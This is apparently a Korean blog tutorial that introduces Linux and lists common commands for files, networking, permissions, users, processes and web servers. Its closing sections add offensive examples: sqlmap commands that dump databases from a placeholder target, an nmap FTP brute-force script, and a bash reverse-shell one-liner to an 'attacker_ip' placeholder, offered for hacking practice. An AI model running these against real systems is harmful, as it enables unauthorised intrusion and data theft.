Linux는 UNIX 계열의 오픈 소스 운영체제 (OS)입니다
1991년 Linus Torvalds가 무료 운영체제로 개발을 시작했으며 전 세계의 개발자들이 커널 및 다양한 도구 개발에 참여하고 있습니다
Linux는 누구나 소스코드를 자유롭게 열람, 수정, 배포를 할 수 있으며 다양한 배포판이 존재합니다
예시로는 Ununtu, Debian 등이 있으며 방대한 종류의 배포판들이 존재합니다
오픈 소스 특성 덕분에 보안 취약점이나 버그가 발견되면 빠르게 수정·공유될 수 있고, 라이선스 비용이 들지 않아 누구나 부담 없이 사용할 수 있다는 점도 큰 장점입니다
Linux는 서버, 데스크톱, 모바일(안드로이드), 임베디드 기기 등 거의 모든 환경에서 사용할 수 있을 만큼 뛰어난 유연성이 특징입니다
클라우드 인프라 및 스마트폰의 대부분이 리눅스를 기반으로 동작하며 이는 커널이 다양한 하드웨어와 환경에 맞게 쉽게 수정·확장될 수 있기 때문입니다
또한 오랜 시간 동안 재부팅 없이 안정적으로 동작하며 장애가 발생해도 빠르게 복구할 수 있는 구조를 가지고 있습니다
Linux의 핵심은 바로 커널입니다
커널은 하드웨어 (메모리, CPU, 저장장치, 네트워크 등)와 소프트웨어 (응용프로그램) 사이에서 중재자 역할을 합니다
리눅스 커널은 모놀리식 구조(하나의 큰 프로그램이 모든 핵심 기능을 담당)지만, 모듈화되어 있어 필요한 기능만 동적으로 추가하거나 제거할 수 있습니다
커널은 메모리 관리, 프로세스 스케줄링, 파일 시스템, 네트워크 통신, 장치 드라이버 등 운영체제의 핵심 기능을 직접 제어합니다
Linux는 기본적으로 명령줄 (터미널, CLI) 환경에서 조작하는 것이 특징입니다
다양한 명령어와 옵션을 조합해 파일 관리, 시스템 설정, 네트워크 관리 등 거의 모든 작업을 수행할 수 있습니다
GUI (그래픽 환경)도 지원하지만 명령줄을 사용하면 반복 작업을 자동화하거나 복잡한 작업을 간단하게 처리할 수 있어 서버 관리, 개발, 해킹 실습 등에서 강력한 도구로 활용됩니다
명령어 기반 환경은 리눅스의 강력함과 유연성을 뒷받침하는 중요한 요소입니다
Linux에서는 모든 것이 파일이라는 철학이 적용됩니다
단순한 텍스트 파일, 이미지, 실행 파일뿐만 아니라, 디렉토리, 하드웨어 장치 (예: 하드디스크, 프린터), 네트워크 소켓, 심지어 시스템 설정 정보까지 모두 파일로 취급됩니다
또한 표준화된 파일 조작 명령어와 도구로 거의 모든 자원을 제어할 수 있어, 일관성 있는 시스템 관리와 자동화가 가능합니다
다음으로는 Linux의 기본 명령어에 대해 알아보고자 합니다
명령어들을 아래와 같은 분류들로 나눠봤습니다
ls (list segments)
파일과 디렉토리 목록을 확인하는 가장 기본적인 명령어입니다
$ ls -al # 파일의 상세정보 (권한, 소유자, 크기 등) 표시
$ ls -t # 파일들을 생성시간순 (최신순)으로 표시
$ ls -F # 파일 유형을 끝에 표시 ('/' : 디렉터리, '*' : 실행파일, '@' : 링크)
pwd (print working directory)
현재 작업 중인 디렉토리의 절대 경로를 출력합니다
$ pwd
/home/username
cd (change directory)
디렉토리 간 이동을 위한 명령어입니다
$ cd /path/to/directory # 절대 경로로 이동
$ cd .. # 상위 디렉토리로 이동
$ cd ~ # 홈 디렉토리로 이동
$ cd - # 이전 작업 디렉토리로 이동
cat
cat -n file.txt # 줄번호와 함께 출력
cat -b file.txt # 비어있지 않은 줄만 줄번호
cat -E file.txt # 줄 끝에 $ 표시
>>를 사용하면 기존 파일 뒤에 내용을 추가할 수 있습니다cat file1.txt file2.txt > merged.txt # file1과 file2를 합쳐 merged.txt로 저장
주요 옵션
| 옵션 | 설명 |
|---|---|
-n | 모든 줄에 줄번호를 붙여 출력 |
-b | 비어 있지 않은 줄에만 줄번호를 붙임 |
-E | 각 줄 끝에 $를 표시 |
-T | 탭 문자를 ^I로 표시 |
-s | 연속된 빈 줄을 한 줄로 압축 |
-v | 제어문자를 눈에 보이게 표시 |
-A | -vET 옵션을 모두 적용한 것과 동일 |
file
파일의 종류(타입)를 확인하는 명령어입니다
$ file filename.txt
filename.txt: ASCII text
mkdir (make directory)
새로운 디렉토리를 생성합니다
$ mkdir newfolder # 디렉토리 생성
$ mkdir -p path/to/nested/directory # 하위 경로 포함 생성
touch
빈 파일을 생성하거나 파일의 수정 시간을 변경합니다
$ touch newfile # 새 빈 파일 생성
$ touch -a filename # atime(접근시간)만 변경
$ touch -m filename # mtime(수정시간)만 변경
cp (copy)
파일이나 디렉토리를 복사합니다
$ cp file1 file2 # file1을 file2로 복사
$ cp -r dir1 dir2 # 디렉토리 복사 (하위 경로와 파일 모두 포함)
$ cp -f file1 file2 # 대상이 있으면 강제로 덮어쓰기
주요 옵션
| 옵션 | 설명 |
|---|---|
-r, -R | 디렉토리와 그 하위 파일들 모두 복사 |
-i | 덮어쓰기 전 사용자 확인 요청 |
-p | 원본 파일의 권한, 소유자 등 속성 보존 |
-v | 복사 과정 상세 출력 |
mv (move)
파일이나 디렉토리를 이동하거나 이름을 변경합니다
$ mv file1 file2 # file1의 이름을 file2로 변경
$ mv file1 /dir # file1을 dir 디렉토리로 이동
$ mv file1 file2 file3 /dir # 여러 파일을 dir로 이동
rmdir (remove directory)
빈 디렉토리를 삭제합니다
$ rmdir emptydir # 빈 디렉토리만 삭제 가능
$ rmdir -p path/to/dir # 상위 빈 디렉토리도 함께 삭제
ifconfig / ip
네트워크 인터페이스 구성 및 정보 확인에 사용됩니다
$ ifconfig # 모든 네트워크 인터페이스 정보 표시
$ ip addr show # 현대적인 방식으로 IP 주소 정보 표시
$ ip link set eth0 up # 인터페이스 활성화
ping
호스트 간 연결 및 응답 시간을 확인합니다
$ ping example.com # 도메인으로 ping
$ ping -c 4 192.168.1.1 # 특정 횟수만 ping 요청
ss / netstat
네트워크 연결 상태와 소켓 정보를 확인합니다
$ ss -a # 모든 연결 표시
$ ss -t # TCP 연결만 표시
$ ss -u # UDP 연결만 표시
$ netstat -a # 모든 포트 및 연결 표시
$ netstat -l # 리스닝 중인 포트만 표시
tcpdump
네트워크 패킷을 캡처하고 분석합니다
$ tcpdump -i eth0 # eth0 인터페이스의 패킷 캡처
$ tcpdump port 80 # 80번 포트 트래픽만 캡처
$ tcpdump host 192.168.1.1 # 특정 호스트 관련 트래픽만 캡처
nmap (Network Mapper)
네트워크 스캐닝 및 보안 감사를 위한 오픈소스 도구입니다
$ nmap 192.168.1.1 # 기본 스캔
$ nmap -sV 192.168.1.0/24 # 서비스 버전 스캔
$ nmap -O target # OS 탐지 시도
$ nmap -p 1-1000 target # 특정 포트 범위 스캔
$ nmap -sS target # SYN 스캔 (스텔스 스캔)
주요 옵션
| 옵션 | 설명 |
|---|---|
-sS | TCP SYN 스캔 (스텔스 스캔) |
-sT | TCP 연결 스캔 |
-sU | UDP 스캔 |
-sV | 서비스 버전 탐지 |
-O | 운영체제 탐지 |
-p | 포트 지정 |
-A | 적극적인 스캔 (OS 탐지, 버전 탐지 등 포함) |
netcat (nc)
네트워크 연결 테스트, 포트 리스닝, 데이터 전송 등 다양한 네트워크 작업을 수행합니다
$ nc -l 8080 # 8080 포트에서 리스닝
$ nc host.example.com 80 # 특정 호스트의 80 포트에 연결
$ nc -z -v 192.168.1.1 20-30 # 포트 스캔 (20-30번)
iperf
네트워크 대역폭을 테스트합니다
$ iperf -s # 서버 모드 시작
$ iperf -c server_ip # 클라이언트로 서버에 연결해 대역폭 측정
$ iperf -u -c server_ip # UDP로 대역폭 테스트
chmod (change mode)
파일/디렉토리의 권한을 변경합니다
$ chmod 755 file # 소유자 rwx, 그룹 r-x, 기타 r-x 권한 설정 (r: read, w: write, x: execute)
$ chmod +x script.sh # 모든 사용자에게 실행 권한 추가
$ chmod -w file.txt # 모든 사용자의 쓰기 권한 제거
$ chmod u+w,g-x file # 소유자에게 쓰기 권한 추가, 그룹의 실행 권한 제거
chown (change owner)
파일/디렉토리의 소유자를 변경합니다
$ chown user file # 파일의 소유자를 user로 변경
$ chown user:group file # 소유자와 그룹 동시 변경
$ chown -R user:group directory # 디렉토리와 하위 파일 모두 변경
whoami
현재 로그인한 사용자를 확인합니다
$ whoami
username
id
현재 사용자의 ID와 소속 그룹을 확인합니다
$ id
uid=1000(username) gid=1000(username) groups=1000(username),4(adm),24(cdrom),...
useradd / adduser
새로운 사용자를 생성합니다
$ sudo useradd newuser # 기본 설정으로 사용자 생성
$ sudo adduser newuser # 대화형 방식으로 사용자 생성 (Ubuntu 등)
userdel / deluser
사용자 계정을 삭제합니다
$ sudo userdel username # 사용자 계정만 삭제
$ sudo userdel -r username # 홈 디렉토리와 메일 스풀도 함께 삭제
passwd
사용자 비밀번호를 변경합니다
$ passwd # 자신의 비밀번호 변경
$ sudo passwd username # 다른 사용자의 비밀번호 변경
sudo (superuser do)
관리자 권한으로 명령을 실행합니다
$ sudo command # 관리자 권한으로 명령 실행
$ sudo -i # 루트 쉘 시작
$ sudo visudo # sudoers 파일 안전하게 편집
su (switch user)
다른 사용자로 전환합니다
$ su - username # 다른 사용자로 로그인 (환경변수 포함)
$ su username # 현재 환경을 유지하며 사용자만 전환
$ su - # 루트 사용자로 전환 (비밀번호 필요)
ps (process status)
실행 중인 프로세스 정보를 표시합니다
$ ps # 현재 터미널의 프로세스 표시
$ ps aux # 모든 프로세스 상세 정보 표시
$ ps -ef # 모든 프로세스 표시 (UNIX 스타일)
$ ps aux | grep apache # 특정 프로세스 검색
top / htop
실시간 프로세스 모니터링 도구입니다
$ top # 기본 시스템 모니터링
$ htop # 향상된 대화형 프로세스 뷰어
pgrep
지정한 패턴과 일치하는 프로세스를 검색합니다
$ pgrep apache # apache 관련 프로세스 ID 검색
$ pgrep -l nginx # nginx 관련 프로세스 ID와 이름 표시
kill / pkill
프로세스를 종료합니다
$ kill PID # 특정 PID의 프로세스 종료
$ kill -9 PID # 강제 종료 (SIGKILL)
$ pkill process_name # 이름으로 프로세스 종료
bg / fg / jobs
백그라운드/포어그라운드 작업을 관리합니다
$ command & # 명령어를 백그라운드로 실행
$ jobs # 백그라운드 작업 목록 확인
$ fg %1 # 1번 작업을 포어그라운드로 가져오기
$ bg %2 # 2번 작업을 백그라운드로 전환
nice / renice
프로세스의 우선순위를 설정/변경합니다
$ nice -n 10 command # 낮은 우선순위로 명령 실행
$ renice -n -5 -p PID # 실행 중인 프로세스의 우선순위 변경
systemctl (systemd)
최신 리눅스 배포판의 서비스 관리 명령어입니다
$ systemctl status apache2 # 서비스 상태 확인
$ sudo systemctl start apache2 # 서비스 시작
$ sudo systemctl stop apache2 # 서비스 중지
$ sudo systemctl restart apache2 # 서비스 재시작
$ sudo systemctl enable apache2 # 부팅 시 자동 시작 설정
$ sudo systemctl disable apache2 # 부팅 시 자동 시작 해제
service (SysVinit)
구형 리눅스 배포판의 서비스 관리 명령어입니다
$ sudo service apache2 status # 상태 확인
$ sudo service apache2 start # 서비스 시작
$ sudo service apache2 stop # 서비스 중지
$ sudo service apache2 restart # 서비스 재시작
Apache 관리
Apache HTTP 서버를 제어하는 명령어입니다
$ httpd -v # 아파치 버전 확인
$ sudo systemctl status httpd # 아파치 상태 확인
$ sudo systemctl start httpd # 아파치 시작
$ sudo systemctl stop httpd # 아파치 중지
$ sudo apachectl configtest # 설정 파일 문법 검사
$ sudo apachectl restart # 아파치 재시작
Nginx 관리
Nginx 웹 서버를 제어하는 명령어입니다
$ nginx -v # nginx 버전 확인
$ nginx -t # 설정 파일 테스트
$ nginx -T # 설정 테스트 및 내용 출력
$ sudo systemctl start nginx # nginx 시작
$ sudo systemctl stop nginx # nginx 중지
$ sudo nginx -s reload # 설정 다시 불러오기
sqlmap
SQL 인젝션 취약점을 자동으로 탐지하고 익스플로잇하는 도구입니다
$ sqlmap -u "http://target.com/page.php?id=1" # 기본 스캔
$ sqlmap -u "http://target.com/page.php?id=1" --dbs # 데이터베이스 목록 조회
$ sqlmap -u "http://target.com/page.php?id=1" --tables # 테이블 목록 조회
$ sqlmap -u "http://target.com/page.php?id=1" --dump # 테이블 내용 덤프
$ sqlmap -u "http://target.com/login.php" --data="user=test&pass=test" # POST 데이터 테스트
$ sqlmap -u "http://target.com/page.php" --cookie="PHPSESSID=abc123" # 쿠키 포함 테스트
주요 옵션
| 옵션 | 설명 |
|---|---|
--dbs | 데이터베이스 목록 조회 |
--tables | 테이블 목록 조회 |
--dump | 테이블 내용 추출 |
--batch | 사용자 입력 없이 기본값으로 자동 진행 |
--risk | 위험도 설정 (1-3) |
--level | 테스트 수준 설정 (1-5) |
nmap 고급 스크립트
보안 취약점 탐지를 위한 NSE(Nmap Scripting Engine) 스크립트입니다
$ nmap --script vuln target # 취약점 스캔
$ nmap --script http-sql-injection target # SQL 인젝션 취약점 스캔
$ nmap --script http-enum target # 웹 서버 디렉토리 열거
$ nmap --script-args http-waf-detect target # 웹 방화벽 탐지
$ nmap --script ftp-brute target # FTP 계정 브루트포스
Netcat을 이용한 웹 서버 테스트
기본적인 웹 요청 및 리스닝을 수행할 수 있습니다
$ nc -v www.example.com 80 # 웹 서버 연결 테스트
# 연결 후 다음과 같이 HTTP 요청 입력
GET / HTTP/1.1
Host: www.example.com
$ nc -l -p 8080 # 8080 포트에서 리스닝 (간이 웹 서버)
해킹 실습을 위한 리버스 쉘
공격 대상에서 공격자 시스템으로 연결하는 쉘을 설정합니다
# 공격자 시스템 (리스너 설정)
$ nc -lvp 4444
# 대상 시스템에서 실행 (bash 리버스 쉘)
$ bash -i >& /dev/tcp/attacker_ip/4444 0>&1
이번에는 간략하게 Linux 및 명령어들에 대해서 알아보았습니다
대부분의 명령어들은 기본적으로 많이 사용하는 명령어이기 때문에 처음에는 어렵게 느껴지더라도 사용하다보면 익숙해질 것입니다!
저도 위의 명령어들을 주로 사용하는데 위에 언급되지 않은 명령어들을 쓰거나 아니면 위에 있는 명령어들을 사용할 때 가끔 헷갈리지만 그래도 cli에 익숙해지다보니 어느정도 머리에 남고 명령어를 치는게 정말 편하게 느껴지는 것 같습니다ㅎㅎ
여러분들도 함께 매력적인 OS인 Linux를 많이 사용해보세요!